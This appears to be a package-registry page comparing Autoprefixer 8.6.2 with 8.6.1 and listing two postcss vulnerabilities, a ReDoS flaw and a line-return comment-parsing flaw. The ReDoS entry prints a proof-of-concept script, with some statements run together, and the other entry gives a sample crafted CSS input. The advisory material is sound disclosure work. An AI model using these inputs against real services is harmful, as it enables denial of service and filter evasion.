Autoprefixer 8.6.2 is a minor release refining the popular CSS vendor prefixing tool. Comparing it to the immediately preceding version, 8.6.1, the core functionality of parsing CSS and adding vendor prefixes based on Can I Use data remains consistent. Both versions rely on the same fundamental dependencies, including postcss for CSS parsing, browserslist for browser targeting, num2fraction, normalize-range, and postcss-value-parser for value manipulation. The critical difference lies in the updated caniuse-lite dependency, which moves from version 1.0.30000850 in 8.6.1 to 1.0.30000851 in 8.6.2.
This seemingly small change has significant implications. caniuse-lite provides the data on browser support for various CSS features. Therefore, this update directly impacts the range of prefixes Autoprefixer adds, potentially enabling support for newer CSS features in more browsers or refining prefixing logic for existing features based on the latest browser compatibility data. For developers, this means a potentially smoother, more future-proof CSS workflow, ensuring their stylesheets are optimized for the widest possible audience with automatically managed vendor prefixes. Furthermore, the slightly increased unpacked size of version 8.6.2 (338329 bytes) compared to 8.6.1 (338237 bytes) likely reflects the expanded data within the updated caniuse-lite database. The release date difference indicates a quick turnaround, suggesting the update addressed a pressing issue or incorporated a critical data refresh.
All the vulnerabilities related to the version 8.6.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.